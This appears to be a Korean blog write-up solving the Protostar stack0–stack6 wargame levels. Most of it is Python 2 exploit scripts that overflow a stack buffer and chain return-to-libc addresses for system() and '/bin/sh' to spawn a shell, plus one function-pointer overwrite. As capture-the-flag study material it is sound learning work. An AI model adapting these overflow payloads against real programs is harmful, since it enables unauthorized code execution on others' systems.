이번엔 RTL을 이용한 풀이입니다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack6.py



쉘을 따줍시다.


이번엔 그냥 쉘을 따는게 목표네요.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload

stack5.py




따줍시다.



이번에는 코드 플로우를 바꿔보라고 합니다.




ret를 win 함수의 주소로 바꿔줍시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack4.py



쉘도 따줍시다.



이번엔 함수포인터를 바꿔주랍니다.



바꿔줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x8048424

payload = 'A'*64
payload += p(win)
payload += 'A'*12
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack3.py



쉘도 따줍시다.




이번에는 환경변수로 입력 받은 값을 buffer에 집어넣어주네요.



넣어줍시다.

대신, 0x0a, 0x0d의 경우 개행을 나타내는 hex value이기 때문에 double quotation으로 한번 더 묶어줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*84
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack2.py





쉘도 따줍시다.


이번에는 0,1이 아닌 특정 4바이트 값으로 바꿔야하네요.


#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack1.py

값도 바꿔보고, 쉘도 따봅니다.




졸리다..



그냥 modified의 값을 바꾸면 되나 봅니다.


바꿔줍시다.

이 바이너리에는 더미바이트가 따로 없나보네요. buf 이후에 1바이트만 덮어 씌워 줘도 modified 변수가 바뀌네요.




쉘도 따봅니다.


#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload



이런식으로 pack 해서 보낼수도 있다고 합니다.




그래서 이것도 해봤습니다.






와.. 고생했다 나놈;;

출제자 본인도 ㅈ같다던 문제를 드디어...



+ Recent posts